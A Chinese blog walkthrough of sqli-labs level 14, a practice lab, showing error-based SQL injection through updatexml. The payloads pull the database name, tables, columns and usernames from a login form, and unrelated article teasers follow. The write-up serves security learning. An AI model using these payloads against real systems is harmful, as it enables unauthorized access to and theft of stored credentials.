sqli-labs靶場第十四關

目錄

1:分析

找閉合符:

2:開始注入

報錯注入:

注入數據庫名:

注入表名:

注入列名:

注入具體值:


1:分析

????????經過我們的實驗發現當我們輸入的密碼后面存在雙引號時會報錯,由此可以發現注入點在此處。

找閉合符:

當我們輸入正確的賬號并在后面加上#后,可以成功登錄,由此我們可以使用#進行閉合。

2:開始注入

? ? ? ? 因為當我們輸入的sql語句出錯時web界面會將錯誤爆出來,所以我們可以使用報錯注入的方式進行注入。

? ? ? ? 在賬號輸入欄進行注入。

? ? ? ? ? ?

報錯注入:

注入數據庫名:

admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

注入表名:

admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

注入列名:

通過觀察可以知道最有可能存放敏感信息的表為users表,所以我們將users表的信息注入出來。

admin " and ?updatexml(1,concat(0x7e,(select ?group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),0x7e),1) #

注入具體值:

? ? ? ? 我們已經注入出來了列名,現在我們將username和password注入出來。

admin" and updatexml(1,substr(concat(0x7e,(select group_concat(username) from users),0x7e),1,32),1)#

到此我們就成功的注入了,想要注入其他的值只需要重復上面的操作即可。

? ? ?????????

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/12958.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/12958.shtml
英文地址,請注明出處:http://en.pswp.cn/web/12958.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【C++】學習筆記——多態_1

文章目錄 十二、繼承8. 繼承和組合 十三、多態1. 多態的概念2. 多態的定義和實現虛函數重寫的兩個特殊情況override 和 ?nal 3. 多態的原理1. 虛函數表 未完待續 十二、繼承 8. 繼承和組合 我們已經知道了什么是繼承,那組合又是什么?下面這種情況就是…

英語學習筆記13——A new dress

A new dress 一件新連衣裙 詞匯 Vocabulary colour / color n. 顏色 v. 上色,涂色  英  美 顏色短語:green hand 新手      black tea 紅茶      white house 白宮      black sheep 害群之馬 英文顏色類詞匯: red 紅色…

鴻蒙開發接口Ability框架:【ApplicationContext】

ApplicationContext ApplicationContext模塊提供開發者應用級別的的上下文的能力,包括提供注冊及取消注冊應用內組件生命周期的監聽接口。 說明: 開發前請熟悉鴻蒙開發指導文檔: gitee.com/li-shizhen-skin/harmony-os/blob/master/README.m…

靜態IP代理:網絡世界的隱秘通道

在數字化時代,網絡安全和隱私保護日益受到重視。靜態IP代理作為一種網絡服務,為用戶提供了一個穩定且可預測的網絡連接方式,同時保護了用戶的在線身份。本文將從五個方面深入探討靜態IP代理的概念、優勢、應用場景、技術實現以及選擇時的考量…

C語言學習【printf函數和scanf函數】

C語言學習【printf函數和scanf函數】 printf()函數和scanf()函數可以讓用戶與程序交流,是輸入/輸出函數 printf()函數 請求printf()函數打印數據的指令要與待打印數據的類型相匹配。例如,打印整數時使用%d,打印字符時使用%c。這些符號被稱…

實戰項目技術點(1)

1、什么是REST? REST(Representational State Transfer),表述性狀態轉換,它是一種軟件架構風格。傳統URL風格如下: http://localhost:8080/user/getById?id1 GET:查詢id為1的用戶 http://loc…

網絡常識一:常用工具

作為后端開發,特別是網絡游戲后端開發,經常需要處理各種現網問題,其中有不少是網絡相關的。 下面列舉的工具主要是在 linux 下的,診斷線上服務器問題的時候,往往是分秒必爭,所以這些工具都要用得很熟練&am…

程序在銀河麒麟系統下實現開機自啟及創建桌面快捷方式

目錄 1. 機器環境說明 2. 程序開機自啟動設置 2.桌面快捷方式設置 3. 附加說明 1. 機器環境說明 機器安裝的銀河麒麟操作系統屬性如下: 2. 程序開機自啟動設置 第1步:編寫一個腳本,用于自動化啟動,為便于后文描述,該腳本名稱…

干貨教程【軟件篇】| 免費實現游戲加速自由

需要這個游戲加速軟件的小伙伴可以關注一下文章底部公眾號,回復關鍵詞【zdjs】即可獲取。 該軟件可以實現免費的游戲加速,實測延遲低體驗好! 建議看到后趕緊保存下來防止丟失! 下面講一下該軟件安裝流程~ 通過鏈接可以得到下面…

2.go語言初始(二)

本篇博客涉及到go 的基礎數據類型、 go 語言中的運算符、轉義字符、格式化輸出、字符串操作 go 語言中的運算符 在 go 語言中,基本數據類型主要包括以下幾類:整數類型、浮點數類型、復數類型、布爾類型、字符串類型、字節類型(byte&#xf…

Linux進程控制——Linux進程程序替換

前言:Linux進程控制包含了進程終止,進程等待,進程程序替換。走到現在我們也只剩下進程程序替換沒介紹了,那么讓我們來看看進程程序替換到底是什么! 本篇主要內容: 替換原理 替換函數 實現簡易shell 我們所創…

【sql】sql中with as 介紹與使用jsqlparser解析sql

文章目錄 一. 定義二. 用法三. 解析 一. 定義 with A as (select * from class) 也就是將重復用到的大批量 的SQL語句,放到with as 中,加一個別名,在后面用到的時候就可以直接用。對于大批量的SQL數據,起到優化的作用。 with子句…

Broad Learning System (BLS) 寬度學習系統

寬度學習(Broad Learning System, BLS)是一種有效的神經網絡學習框架,旨在通過擴展網絡的寬度而不是深度來提高學習能力和效率。與傳統的深度學習相比,寬度學習通過堆疊多層特征節點和增強節點來構建網絡,從而避免了深…

oracle 臨時表

oracle 臨時表 conn scott/tiger --會話內保留行 drop table tmp1; CREATE GLOBAL TEMPORARY TABLE tmp1 ON COMMIT PRESERVE ROWS AS SELECT * FROM emp;SELECT TABLESPACE_NAME,CURRENT_USERS FROM V$SORT_SEGMENT;SELECT * FROM TMP1; INSERT INTO TMP1 SELECT * FROM…

Maven依賴管理項目構建

Maven依賴管理項目構建工具 目錄 文章目錄 Maven依賴管理項目構建工具目錄一、Maven簡介1、為什么學習Maven1.1、Maven是一個依賴管理工具1.2、Maven是一個構建工具1.3、結論 2. Maven介紹3. Maven軟件工作原理模型圖(了解) 二、Maven安裝和配置1. Mave…

PostgreSQL擴展之PGroonga:多語言全文搜索

簡介 PGroonga 是一個 PostgreSQL 擴展,它增加了基于 Groonga 的全文搜索索引方法。雖然原生的 PostgreSQL 支持全文索引,但它僅限于基于字母和數字的語言。PGroonga 提供了更廣泛的字符支持,使其成為 PostgreSQL 支持的語言的超集&#xff…

(實測驗證)Gitee代碼托管嘗試(一)——克隆/下載

一、登錄 Gitee(碼云)代碼托管平臺: Gitee - 基于 Git 的代碼托管和研發協作平臺 新建個人賬戶如下: 二、SSH 公鑰設置 1、在git安裝目錄打開“git-cmd.exe”; 2、通過命令 ssh-keygen 生成 SSH Key: ssh-keygen …

Linux進程概念總結

這里總結下Linux進程概念總結? 馮諾依曼: CPU 運算器與控制器RAM 內存(存儲器)Cache 緩存(一種技術)不屬于馮諾依曼體系結構。ROM 磁盤(輸入輸出設備)磁盤 既可以從硬盤讀取數據也可以向硬盤…

3-3 基于RYU的流量風暴事件原理與響應策略

在傳統網絡中,存在著一定的廣播流量,占據了一部分的網絡帶寬。同時,在有環的拓撲中,如果不運行某些協議,廣播數據還會引起網絡風暴,使網絡癱瘓。 如有以下的一個網絡拓撲結構(3_2_topoplus.py) …

零基礎學Java第十四天之枚舉

枚舉 1、理解 枚舉(Enumeration,通常簡寫為enum)在編程語言中是一種特殊的數據類型,它允許你為變量定義一組命名的常量。這些常量通常表示一組有限的值,比如一周的七天、顏色的集合或者狀態的集合等。枚舉類型的主要目…